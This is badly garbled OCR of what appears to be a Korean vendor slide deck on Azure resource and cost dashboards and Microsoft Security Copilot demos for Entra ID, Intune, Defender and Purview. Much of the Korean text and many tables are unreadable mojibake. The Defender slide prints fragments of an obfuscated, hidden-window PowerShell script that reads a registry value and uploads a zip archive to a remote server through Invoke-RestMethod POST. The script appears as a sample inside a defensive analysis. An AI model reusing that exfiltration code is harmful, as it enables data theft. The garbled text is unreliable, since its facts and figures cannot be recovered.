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28 1Y

22 18
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CVE-2023-36719 7.80 High
CVE-2023-36727 6.10 Medium
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I olE o & ALS 5 bt P ]
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179 177
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WIN-ALLIE22
WIN-APCTANRMCSA
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Azure AD joined
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@ High
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Azure 2|2A 912 SLH|E HIAME= M%%‘PJ Azure 2| 220 AFEE I RS &2l T = A=A HS SHRZE, 2|22 A8 25
X|E2f CPU, RAM, Disk 52| 2|44 HER HEES HSEL2M AH|AS| 2F Sigft 2|~ AE H|E oiES 2felote = X -RfLCH.

o

Azure 2|AA 3 5l H| HI1A|

MsStudio K ( Date 2023-01-18 2023-02-05 )

<>y M. Cloud Bridge

2 =k
A A FU (2) :
i T 1 '980’032 MStudio Standard_D2ds_v5 8,192 Premium_LRS koreacentral Windows_Server
2E ALS Y HE MEMORY AFE & ®Z A0 45
_— 84.70% AT 85.85% g, sgu 87.21%
37" -
148k 80%
6,078
oEHat 60%
Jan Feb 18 228 12 2094 2gls5¢
ME|AE S HE CPU ALSE ®Z A0E:

Virtual Machi... 329,693 5
Storage 311.869
VPN Gateway [ 113,080 20
— 12 229 18 20 28 5
uH i o] at AL _ e
o A0lE: 1 EdiE £ S54T 2 (mB) ClA3 F@ A8 & EE
INBOUND (MB) — OUTBOUND (ME) @C ®D ®F ®G OH
v v % a1 29% 29% 3%
21% 20% 21% 21%
10 20%
0% 0% 0% 1% 0% 0% 0% 0% 0% 0% 1% 0%
0 0 0 0 0 0 0%
12 229 12 202 285
18 22 12 202 28 52
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6,549,220
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=Y (
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mir

215,489

& 5062%

ME| AT
Band... 3.8% —

Azure Dat... \

1031%

Azure An...

Storage T 60.18%

12.65%

2l aA 2f%]
kr south 8.54% —

kr central
31.26%

— ja east 60.18%

S 49.38%

2208
215,489

2108

6 4¥
AH|ATH I
Azure Analysis Services
Storage Agroupwaredisk02
Agroupwaredisk01
A_hsm_disk_d

azurebackup_f515a54e-0a9f-4bd5-a5¢c7-
f7a829ee8f2b_2024-02-27t09-50-
00.3080472
Agroupware_disk1_4bf74{9e698d482a9fa 748
96eb021a4é

A-
hsm_disk1_782dcb6495cf482¢9113f234ec43
5a7f
azurebackup_f515a54e-0a%9f-4bd5-a5¢c7-
f7a829ee8f2b_2024-02-26t09-49-
59.9568534
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( Year

2023 N Month 06

v Day 1

¥

22 @) |
w
129,687.77
11.451.51
3,213.12
3.170.39
1.910.22

1.663.06

1.644.41

1.141.29

AsrAAA

217.647

| 225878

62 18¢ 63 25¢
TOP5
129.688
100,000
17,375 16016 11121 8194
0 = -
&) S2 vCore Cloud Data P40 LRS Standard
Movement Disk Data
Transfer 0.
Meter 23 @) |
All Other Operations 0.15
Azure VM Protected Instances 64401
Basic IPv4 Static Public IP 114.99
Batch Write Operations 0.67
Class 2 Operations 4.41
Cloud Data Movement 16,015.77
sHA| 215,488.89
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Fhabo Al

CStudio Standard_D2ds_v5 8,192 Premium_LRS koreacentral Windows_Server
DISK F4 AT AR E
Az DISK Al2(GB) AI2E l
ClA3 8% =
C 126 45°GB 2023-12-08 2% 10:59:10  C 3678 @ 29.09%
: 2023-12-08 2 105810 C 3678 @ 29.09%
. ~ of = 2023-12-08 2F 1057:10  C 3678 @ 29.09% 29.09% 20.49% 0.22% 0.22% 0.70%
o [ —
S T2 ARIE  s0sesiosen 3678 @ 29.09%
2023-12-08 L= 10:55:10  C 3678 @ 29.09%
40 0 0 2023-12-08 2% 10:54:10 C 3678 @ 29.09% c D F G H
2023-12-NR Y= 10°53-10 C IR TR . 29 0N9%
MEMORY Azt Ar2Z(MB A2s  ° CPU
0% 4 ols : Je¥mE | ASE agld . Xzt I
T _ | 6 . g
85.5% ﬁp}aﬁ' o 2023-12-08 Ei 3:16:00 7,307 : 89.20% . 5:‘3.0 50731208 S 120000 ®
0 2023-12-08 if 3:17:00 7,222 4 88.16% 0 2023-12-08 ©F 12:01:00 @ s
80% 202371208 = 24200 r198 o7 84% 2023-12-08 27 12:02:00 @ 74
o | =o| 2023-12-08 Qf 3:49:00 7189 A 87.76% mo| 20231208 9 120300 @ s+
M 2023-12-08 Qi 3:15:00 7170 A 87.52% i : 5023-12-08 9 12:04:00 @ s
- 496 2023-12-08 Qf 2:18:00 7168 A 87.49% - 0 2023-12-08 9 & 12:05:00 @ 51
O 1200 9= 1200 2023-12-08 2= 4:03:00 7165 A 87.46% 0 oo . 023-12-08 ©F 12:06:00 @ 54
N22.17.N8 Q& 2-L0NN 7142 A 87 oa% = e
N2 17 N O™ 1nTa0n . Ca1
NETWORK Al ZH Edfi=| +H(B) Eefjo S MEH(B) ° BACKUP W AIEF AIZH uney 2kz A7 uie] 2~ A7 HEl
= aM2 2023-12-08 27 12:00:00 856.55 2,488.84 2023-12-02 2= 10:57:00 2023-12-03 27 2:07:00 1902 Completed
s Te 2023-12-08 27 12:01:00 945.48 3,614.87 I 2023-12-03 2= 9:00:00 2023-12-04 @7 2:08:00 3082 Completed
2 8MB 2023-12-08 27 12:02:00 1,147.24 2,853.67 Aol 2023-12-04 @3 9:01:00 2023-12-05 @7 2:09:00 3082 Completed
) 2023-12-08 27 12:03:00 980.12 2,917.68 1 2023-12-05 2= 9:02:00 2023-12-06 27 2:10:00 3082 Completed
= A2k 2023-12-08 27 12:04:00 667.30 2,493.56 2023-12-07 2= 9:04:00 2023-12-08 27 2:12:00 3082 Completed
2023-12-08 2H 12:05:00 814.49 2,803.61 2023-12-08 2= 9:05:00 2023-12-09 27 2:13:00 3082 Completed
10.8MB 2023-12-08 27 12:06:00 668.49 2,465.70 2023-12-09 2= 9:06:00 2023-12-10 27 2:14:00 3082 Completed
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Security Copilot2 AIO|H HOt SAHO| CHE, |8 =X QIH2|™MA 27 A 22| S2 Hot HEIHE CHAISIH CHHSHALE 24
X|2lgt & Q=2 MA |0 Microsoft HQF HES Zetsto] 2mz|0|A E} 2

What is Security Copilot |

~N
e Device
® ® OSs

Microsoft
Priva

p- -9

b 6 s ~ \ a ==
icrosoft Sentine icrosoft g

A e Security Copilot I\:’””‘GV: A '
) a* "=

-
Cloud .
Platforms

Microsoft Defender
for Endpoint

=
“—

Microsoft Microsoft
\_ Entra ID Intune )
Microsoft Security J Microsoft Security Model J Large Language Model

SIX| & M|HROZ HOotol2{0| of 3500+ I M HE3St A5t 0|2{H Hot ol
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- O o, [ - -7 T
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Security Copilot SZ} 44

4 N\
Copiot TETE 912

0 Microsoft Security H|-Z--0f|Af
. IS Lsiitent u A8 R3S 8 AHAE|S Ho|E= # ZEZES Coplot0] HEBHH:

\_

Mi ft 365 Copilote| LLMZ &&Al7|X| k&LIct.
der e o icroso opilot9] [Z1%] {Ck ) v .
| 0 User Prompt Microsoft Seaurity 12
% o o @O  eecs 2ol
Miarosoft Security Model 0f 28| Ct.
Intune Punview  EntralD \ J
e Y N
Miarosoft Security Products LLM XFX0{ Xi2|
© ool +us oEnes
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9 Security Grounding \_ J
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6. Security Copilot
Security Copilot(Entra ID)

Entra ID2| Security Copilot2 A0 ZTETEE Sdf| SRV 2A| A2 2 OF2| ME Attt A 2301 8l ZAH 213 59

HES &el g = ACH, 0| EES HIECZ Hot ALn S ol Zot= -l TRt HE At &1 AL 2l =22 EMohA| ZobELIC

Security Copilot(Entra ID)

Sign-in events

) security Copilot peves [] 21 X X 4

Entra ID

March 16, 3:55 PM

Why was this sign-in prompted for MFA? @ AI‘%II‘ k" 'hll' AI'-‘s(;l': Al‘%Xl‘Ql

Date : Last 24 hours X

Tr.re

Date T Requ.. T. User TL
01/01/2020, bd008295... Connie
01/01/2020, ff315153-f... Timothy
T.0L
01/01/2020, 683a2¢9¢... Edward
*.£L

01/01/2020, 167b3ed9... Connie
ce

01/01/2020, cd632fc0i... Connie ...
0170172020, adaz2éc2... Edward
T8

01/01/2020, 35c8243e.. Edward
T.0L

01/01/2020, 3eadf03ei... Edward
T .£E
01/01/2020, 81163663... Timothy

Show dates as : Local X
User sign-ins (interactive) User sign-ins (non-interactive)

Applic... TlStatus TL IP address T/Location

Azure ...

Azure ...

Azure ...

Azure ...

Azure ...

Azure ...

Azure ...

Azure ...

Azure ...

+  Add filter

Service principal sign-ins

Success

Interrupte 167.220.

d ~

Success  131.107.
Success 131,107,
Success 167.220.

Interrupte 167.220.

d =
Success 131.107.
Success 131.107.

Interrupte 167.220.
ol

131.107.

= A T
Adriana Giorgi was prompted for Multifactor Authentication (MFA) ?j El ﬁEE |A_I = OI'}" -'H'-Al
due to enforcement of certain Conditional Access policies during
their sign-in attempt. Here are the details: O ME A Sk. s CHS)
= The sign-in attempt was made on November 14, 2023 at @ = 1IT I- J' = 0" H =
7:56:30 UTC.
+ The application used was “M365 Admin Center”. k" _lf'_ Ic->| E% _Q_O_f
= The IP address for the sign-in was 167.220.101.17
= The sign-in was interactive and was done using the Edge
Redmond. . =]
, browser. ® 2l z2a: =212 =21 9
Bellevue... = The device used was not compliant and not managed
» The location of the sign-in attempt was Redmond, Washington, H O =
Redmond. USA. y " }—a_l' —Illlkllﬁ EIX_I-IIO-" I:'|'|°|_I'
i The following Conditional Access policies were applied Ic->| E% 70" x _-EAI
.Bellevue... 1. CAX - TOU - All Contoso (and Guest) Users - This policy was
was successfully enforced. The conditions satisfied were the
e F . (=13 oj
Bellevue... application and the users. O) = AI' 21: cl1| = E 70:I =x
2. CA20 - Admin reminders - This policy was was successfully
Redmond. enforced. The conditions satisfied were the application and the 0 21O TS
U M| & HBHS TS ZHA}
e 3. CAQ1 - MFA - All Apps - All Users - Do not change - Policy is
Sl monitored - This policy was was successfully enforced. The E:]_% _7F_§|
conditions satisfied were the application and the userso3ssreports.cory
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6. Security Copilot
Security Copilot(Intune)

42 XAE += JASLICH

Security Copilot(Intune)

Devices | Configuration

Mona Kane & I

T Security Copilot
Movember 15, 355 PM
Create 3 policy that blocks users from using any

removable storage devices on Windows 11
laptops

£ Search | ©  Patform: Al X
Policy name T Flatrm Py type
Amil Work Lapiop Iniune Pevsonal
Brookin-Clfice Co-managed Corporate
Bart-Office Intuime Pedsonal
: Brookin-Difce Co-managed Corporate
Cameron-Waork Inturse Farsonal
dawd_AndrosdForork T Corporate
DESKTOR-DEGAGTG Ituime Parsonal
DESKTOR-OMMIMAH Intune Fersonal
DESKTOP-VEOFCTS Infune Personal
Doyle-work Intue Conporate
Esthed-Main Irtuine Personal
FISH-2TH1-G2-1 Infune Personal
FISH-21H1-G2-3 Infune Personal
HOLOLENS-9VOCE2 Inture Corporate
Jaoob-Wark Intuine Corporate

“r Add filter

5cope tags

Here is the Intune configuration policy that blocks
users from plugging in any remaveable storage
devices on Windows 11 laptops:
~  Sotting T al
W Administrative Templstes
w  System > Removeable Storage Access

All Removeable Starage classes: Deny.. Eni

Create policy

Ask about policies
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Security Copilot(Defender)

tosO | Microsoft 365 Defender Q Search

<& 0 Security Copilot

Script analysis
From Security Copilot - 1 minute ago

powershell.exe executed a script -
Nonlnteractive -windowstyle hidden -enc
JHBhdGggPSAi

of Layout v 1 Group by v This PowerShell script is obfuscated to make it
harder to understand. After decoding and
formatting, the script performs the following
actions:

(] 78 Hide source

Contract pof

1. Creates a script block using the Set-Item
emdlet and concatenates strings to form
the script block content.

)

hitps://By3bmy6Syau.

cont-jonathan pe
companyaccess xyz/

("refl"+"ensL"
Loads the Microsoft.Win32.Registry type
= into the script
$01r4s = [type]
(“MICR"+"0SOFT.W"+"iN32.R"+"eG1ST "+ "Ry

)

=1
g ™I A HAL M

Ho

Comtosa bonus
EX |- ||:|-| 0|'6'd | & H s
EX ALO|H Q|3 0| HXY| Pk
2. Accesses the registry key
HKEY_LOCAL_MACHINE\SOFTWARE and
retrieves the value of the diagalersta entry.

jonathanwolcott@contaso.com

[« ti As it
onnection ssociation HF 71 Ol = X 74 A
$6T0: : ("L"+"0ad") . Invok Get-Item : b
{ File downloaded from an untrusted source X v Expandall (0 Copy to clipboard i3 S dnnamtines e
"VARI"+"Ab’ ":DIR4S" ). "VA" luE"::"10
:  ALM AChine" . "Opens™+*ubk"+*"ey". Invoke(
97252023~ €3 [6635) userinit.exe o "E"HSOFTHAR" ). o
02:41:00 AM A ("u"+"Getyals"e") . Invoke(("dia"+"lers"s @ II- e O'I E %I EI le'%l (KQL):
“ta")))
024200AM v £ [6696] explorerexe - :
3. Invokes the entry point of the retrieved
02:42:00 AM ~ €3 [8344] OUTLOOKEXE - value with null arguments. xl-E o E K t
S — usto Query
02:43:00 AM v @ (6696] powershellexe cxe.. (SN | - ~ ,(E"LL;‘Z? gt e
Command line @) Analyze script | O = <]
02:45:00 AM 7 4. Uploads the zip archive to the specified La n g ua g e= AOI'I g (o] A |7_|'
powershell.exe -NonInteractive - web server URL using the POST method

windowstyle hidden -enc
IHBhdGggPSAIXF xTQVATMDF caWSOZX JuYhix
€769 jcy1gTABKIGRVY2EgPSALUBFQLURPQy
SWZGYDQOKZGIIMIASTCITQVALRESDXzAYL
NBkZAINCiR6aXBQYXROID@EIKMEXHR1DXBC
Procassiid Adsi In summary, the script creates a script block,

loads the Microsoft Win32 Regist
Execution Token elevation: Limited, Integrity level: Medium L iadsithe Microsoft WIne2. Registiy type,
details accesses a specific registry key, retrieves a

Invoke-RestMethod -Uri $wedserverurl -
method Post -InFile $zipPath
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6. Security Copilot
Security Copilot(Purview)

Of o2
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[ Try the new Microsoft Purview

D Security Copilot

Communication Gifts and Entertainment?

Pending 3¢ Resolved 12

{ Compliance

tDefault v &) Save

B Overviev

t: All values

All values Tags: All values

= Add filter

3 Resolve Summarize > Notify
summary of this message is:
Project Sync-20231016_163105-Meeting Recording ™ 2 X
> Subject Tags Sender
_ Summary  User history the workplace
@ Project Sync nestorwill
Related Project Sync-2023101... nestorwilke@contoso.cor [\ Conditions datected: Gifts & (provide our serviceatno | View all summary of the message is:

I have tried to rectify this . Iwhite@contoso.com Transcript
- ety P the near future

Nestor Wilke 1 am doing it one minute.

The merger is net yet fin... vis@outlook.com

I have disputed this acco. wgonzalez@gmail. com

Summarize Notify Tag as %

72

What content in the message was flagged as

This Teams meeting transcript occurred between
Nestor Wilke and Grady Archie with subject about T1.
The Teams meeting was flagged by the Gifts &
Entertainment and Stock Manipulation classifiers.
In the context of the Gifts & Entertainment classifier, a
+ Nestor offers Grady "free complimentary vacation
on the company” which can constitute gifting in

In the context of the Stock Manipulation classifier, a

« The phrase “weak stocks” refers to Contoso’s stock
and may suggest Microsoft stocks will increase in

+ Mentions of weak stocks can be tied to 2

@ Unauthorized disclosure ris@cor 00:00:11 corresponding action done by an individual in the
: G (O meeting and possible stock manipulation
Credit bur e addin. Grady Archie How about that Contoso stock price, right 9 P P
e eaus keep a
F 000045 Al gencrated. Verify for accuracy.
Money laundering nestorwilke@contoso.com Nestor Wilke With this P.E. ratio, it's crazy
00,0047
Gifts wsmith@centoso.com Grady Archie And we know the forecast for next quarter so
00:00:50
Stock activity toso.com
Nestor Wilke No more weak stacks Contoso to the moon
000054
Stock action today kmartin@conte
Grady Archie I'm putting in a buy order right now
& Customer complaints 00:01:01
@ Nestor Wilke Me too
& The merger is not yet fin... 0001:07
" i ed th } Grady Archie Early retirement here | come
HETCI R RIEEED it el 00:01:01 What content in the message was flagged as Threat, Harassment,
Regulatory Collusion categories detected?
RE: Stock action today kmartin@contosc Grady Archie See you on the beach
0001:01

Ask a question about this message...

Ed

Generate a simple summary

B
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Security Copilot(S&4d)

Security Copilot SEY2 XA TETE gtAloZ ZZIEl 2HH0||A Entra ID, Intune, Defender, Purview &2 #z2|d 22{3210|
HAL|0] Hot ATREE 2MSI HOt F kMo ot eks Wotshs S 2ot BEXE CHAISHH Hot HIME MMeh &~ QIELICEH

Security Copilot 529

= Microsoft Security Copilot | Write a report summarizing the investigation. Lead with a non-technical executive

summary. Next provide the breakdown of the Defender incident report, the takeaways

Get started with our (?

interactive tour '
L

from the Sentinel Hunt, the Intune device state, and finally the threat intel summary.

3 steps completed 70s

Manage plugins

Executive Summary

- " . e e op
-' (12} || oW An stigat s conduct L wj user Lynne Robbins and the de

Micresoft Sentinel inddent investigation

Winl

Wind
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7. 88
Microsoft Al B 28 Al 92 212 712 Ho|Lt Microsoft 365 Copilot=| &8¢
Microsoft 365 Copilote| EE8HOE 2|& ot =4 L33t O|0|H RF E= E ?[°t Microsoft 365 EMS 70| ER3HH, ALY
H|O|E| 2 OfL|2} 2% H|O|E & =t&SH= Graph Connector, S5t Holigh Hot 2M 2 2|8t Security Copilot2 28% &~ QUELICE.

Microsoft 365 Copilot2|

seH

Data Security

©) @ ©)
Sapglel 3
BB —
] &b |wi=
Microsoft External On-Premise

Enterprise Mobility
+Security (EMS)

a A 2QF G EX| 2 AOGHojE Hot
X x|o| D12t 0|Ef U2 oot ol tf o[ Ef Hs}7| 93t
Microsoft 365 EMS Hot &2 M Microsoft Graph Connector

Data Expansion

00

Service

Al Security Analyst

SO RIS AR EA{S7| 9

Security Copilot
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